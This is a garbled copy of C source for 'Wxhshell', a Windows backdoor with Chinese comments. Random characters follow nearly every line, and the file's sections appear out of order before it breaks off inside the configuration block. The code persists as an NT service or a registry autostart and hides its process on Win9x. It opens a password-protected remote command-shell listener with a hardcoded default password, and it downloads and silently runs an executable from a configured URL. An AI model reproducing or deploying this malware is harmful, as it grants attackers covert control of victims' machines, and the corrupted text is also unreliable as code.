ULONG InheritedFromUniqueProcessId; ,Y+r<;
} PROCESS_BASIC_INFORMATION; Ss"|1]acP
8>C;
>v
PROCNTQSIP NtQueryInformationProcess; .b=M5JsyV
b*I&k":
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YQN]x}:E+4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l 'AK
F/Rng'l
HANDLE hProcess; Cfv L)f
PROCESS_BASIC_INFORMATION pbi; .){e7U6b{
?aK'OIo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9@KUqoX
if(NULL == hInst ) return 0; #rn4$
(lyt"Ty
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @<@R=aqE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %8}WX@SB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ua]\xBWx
YtwmlIar`
if (!NtQueryInformationProcess) return 0; \Dvl%:8
/0B07B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); no~O R Q
if(!hProcess) return 0; `^ieT#(O
wx]+*Lzz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ktjDs$=.:
A}>|tm7|
CloseHandle(hProcess); nUI63?
t*Z .e.q+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kPx]u\
if(hProcess==NULL) return 0; @+0@BO12
fZka%[B
HMODULE hMod; w0a+8gexi
char procName[255]; u+2xrzf
unsigned long cbNeeded; Yv#J`b@y
|'V<>v.v
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IqvqvHxLX
_~X8/p/Qh
CloseHandle(hProcess); B-y0;0
E%wV
if(strstr(procName,"services")) return 1; // 以服务启动 n9<roH
dXA{+<!!
return 0; // 注册表启动 Q%,o8E2~
} HMEs8.
?G~/{m.
// 主模块 R`Ys;g/!
int StartWxhshell(LPSTR lpCmdLine) <;$Sa's,LE
{ .c=$ bQ>^
SOCKET wsl; u%+6Mp[E
BOOL val=TRUE; jQ.>2-;H9
int port=0; !uj!
struct sockaddr_in door; ;#5-.z
7AGZu?1]M
if(wscfg.ws_autoins) Install(); mJ6t.%'d
PTuCN
port=atoi(lpCmdLine); )V[w:= *
yiv RpSL
if(port<=0) port=wscfg.ws_port; n}AR/3}
wf~5lpI[
WSADATA data; :,h=2a_ 8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {<-
ouD
Ak\D6eHcB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <'>d0:>N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +BtLyQ
door.sin_family = AF_INET; (]zl$*k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k=h/i8i2z
door.sin_port = htons(port); 5p]urfN-f
mC{!8WC@k
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mFgb_Cd
closesocket(wsl); ),D`ZRXS
return 1; uZqu xu.
} qHC*$v#.V?
SHXa{-
if(listen(wsl,2) == INVALID_SOCKET) { i#@ v_^ q
closesocket(wsl); gqO%^b)6
return 1; b.mjQ
} TRr4`y%
Wxhshell(wsl); BRo
R"#'
WSACleanup(); eLDL "L
a>)_ `m
return 0; W G3mQ\k
dN$D6*
} 3&a*]
. T6_N
// 以NT服务方式启动 F'?5V0\he
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @}zS/LO
{ @,yFY
DWORD status = 0; l(krUv
DWORD specificError = 0xfffffff; 0M/\bEG(_
+h gaBJy
serviceStatus.dwServiceType = SERVICE_WIN32; ?FY@fO?es
serviceStatus.dwCurrentState = SERVICE_START_PENDING; bOdsMlJkN
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ySr091Q
serviceStatus.dwWin32ExitCode = 0; &geOFe}R
serviceStatus.dwServiceSpecificExitCode = 0; 5H'b4Cyi`
serviceStatus.dwCheckPoint = 0; @ 2%.>0s.
serviceStatus.dwWaitHint = 0; 6S! lD=
m5'__<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2kp|zX(
if (hServiceStatusHandle==0) return; :uT
fhr
T_(e(5
status = GetLastError(); =XRgT1>e
if (status!=NO_ERROR) .^9/ 0.g8t
{ XDrlJvrPL
serviceStatus.dwCurrentState = SERVICE_STOPPED; )'K!)?&d
serviceStatus.dwCheckPoint = 0; Y>dg10=
serviceStatus.dwWaitHint = 0; BZ\EqB
serviceStatus.dwWin32ExitCode = status; |$.sB|_
N
serviceStatus.dwServiceSpecificExitCode = specificError; ZaNyNxbp>z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Re`D|8
return; {R1Cxt}
} v:J.d5
eBYaq!t
k
serviceStatus.dwCurrentState = SERVICE_RUNNING; $E4O^0%/p
serviceStatus.dwCheckPoint = 0; X('Q;^`
serviceStatus.dwWaitHint = 0; G8<It5CU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]mD=Br*r~
} 8ZNd|\
e$/Zb`k
// 处理NT服务事件,比如:启动、停止 qN`]*baS
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2\z`G
{ B!E<uVC
switch(fdwControl) 0o"<^]
_|
{ @WDqP/4
case SERVICE_CONTROL_STOP: vU\w3
serviceStatus.dwWin32ExitCode = 0; AP?{N:+
serviceStatus.dwCurrentState = SERVICE_STOPPED; K&Wv.}=V
serviceStatus.dwCheckPoint = 0; ]Gd]KP@S
serviceStatus.dwWaitHint = 0; *Y^Y
{ *\~kjZ 3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66"ZH,335
} 9%)& }KK|
return; @=<TA0;LL
case SERVICE_CONTROL_PAUSE: 6q
xUT
serviceStatus.dwCurrentState = SERVICE_PAUSED; z5o9\.y({
break; Fb<\(#t
case SERVICE_CONTROL_CONTINUE: p-(ADQS
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9^Vx*KVrU
break; -JyODW#j
case SERVICE_CONTROL_INTERROGATE: "]\":T
break; bcx{_&1p
}; <1'X)n&Kw$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f`XFe$8
} cnUU1Uz>
}~\].I6
// 标准应用程序主函数 ;uA_gn!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B,VSFpPx
{ {;z
L[AgCg
.+JPtL
// 获取操作系统版本 kmwrv -W
OsIsNt=GetOsVer(); K7&8;So
GetModuleFileName(NULL,ExeFile,MAX_PATH); k~9Ywf
$qyM
X[
// 从命令行安装 >G3J3P(
if(strpbrk(lpCmdLine,"iI")) Install(); OTFu4"]M
o}^vREO
// 下载执行文件 I3E8vi%B.
if(wscfg.ws_downexe) { iDkWW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `bi_)i6Low
WinExec(wscfg.ws_filenam,SW_HIDE); ~3-YxCn%
} o j4)7{
}HQT@&=
if(!OsIsNt) { ;|$]Qq
// 如果时win9x,隐藏进程并且设置为注册表启动 A'AWuj\r2R
HideProc(); $b
71
StartWxhshell(lpCmdLine); . =foXN
} ks`
else CR<pB)F?a
if(StartFromService()) |s3HeY+Co
// 以服务方式启动 U+}9X^
StartServiceCtrlDispatcher(DispatchTable); g7Q*KA+
else *ej o6>
// 普通方式启动 HOQ
_T4
StartWxhshell(lpCmdLine); :~A1Ud4c
Y"\T*lKa
return 0; 9q@YE_ji
} (XIq?c1T
fvBC9^3
zl8\jP
?28GQyk4
=========================================== >dC(~j{
A[,"jh
ZT-45_
uu/7Ie
jeuNTDjeL
.STf
" u(G;57ms
(lck6v?h
#include <stdio.h> #1!BD!u
#include <string.h> ^fiRRFr[
#include <windows.h> md
+`#-D\O
#include <winsock2.h> FCB/FtI0
#include <winsvc.h> ghO//?m
#include <urlmon.h> 68br
+n~rM'^4/
#pragma comment (lib, "Ws2_32.lib") 9M~$W-5
#pragma comment (lib, "urlmon.lib") Pg8=
8}`8lOE7
#define MAX_USER 100 // 最大客户端连接数 -Aym+N9
#define BUF_SOCK 200 // sock buffer GDQg:MgX
#define KEY_BUFF 255 // 输入 buffer 2uR4~XjF
]~ 8N
#define REBOOT 0 // 重启 <.B> LU
#define SHUTDOWN 1 // 关机 J2k'Ke97o
<W|{)U?p
#define DEF_PORT 5000 // 监听端口 "N:]d*A\
"=TTsxyM6P
#define REG_LEN 16 // 注册表键长度 !<^j!'2
#define SVC_LEN 80 // NT服务名长度 @DKl<F
9d(v^T
// 从dll定义API >Vm
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eS%6hUb
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "ZB`fNE
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UlZ)|Ya<M
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ Zqg"`
*8eh%3_$h
// wxhshell配置信息 1ZW'PXUZ
struct WSCFG { m<LzB_G\
int ws_port; // 监听端口 :<3;7R'5
char ws_passstr[REG_LEN]; // 口令 $zA[5}{ZtQ
int ws_autoins; // 安装标记, 1=yes 0=no 90696v.
char ws_regname[REG_LEN]; // 注册表键名 GIl{wd
char ws_svcname[REG_LEN]; // 服务名 f!Nc+
char ws_svcdisp[SVC_LEN]; // 服务显示名 ;HwJw\fo
char ws_svcdesc[SVC_LEN]; // 服务描述信息 <;Z~ vZ]
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -ns a3P
int ws_downexe; // 下载执行标记, 1=yes 0=no X_S]8Aa
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F7u%oLjr
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c@{^3V##T
Vk=<,<BB
}; _BaS\U%1(
EGO@`<"h
// default Wxhshell configuration 1,D
^,
struct WSCFG wscfg={DEF_PORT, T $]L 5
"xuhuanlingzhe", I{UB!0H
1, TbM*?\7
"Wxhshell", znpZ0O\!
"Wxhshell", \>k#]4@rp
"WxhShell Service", ?bi^h/f
"Wrsky Windows CmdShell Service", @
MoMU
"Please Input Your Password: ", <[??\YOc
1, rxA)&